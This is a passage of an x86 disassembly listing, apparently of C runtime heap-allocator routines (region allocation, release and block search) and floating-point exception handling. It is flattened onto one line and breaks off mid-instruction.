sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_4397C0 cmp esi, eax jnz short loc_41B918 cmp off_4397C0, 0 jnz short loc_41B908 mov off_4397C0, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_4397C4, 0 jnz short loc_41B92D mov off_4397C4, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_4397C4 mov [esi+4], eax mov off_4397C4, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi nop call near ptr 2830535h loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_4397C0 jz short loc_41B9C5 push esi push 0 push dword_48B684 call near ptr 26E033Bh nop loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 2830535h cmp off_43B7E0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_43B7E0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_4397C0 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_48B684 nop call near ptr 26E033Bh pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_4397D0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_4397C4 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 2830535h nop test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_48A07C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_4397C4 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_4397C0 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_48A07C cmp dword_48A07C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43B7E0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_43B7E0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_43B7E0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_4397C0 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2830659h cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_43B7E0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43B7E0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43BF38, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_48A014, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_43BF38, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2840000h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp 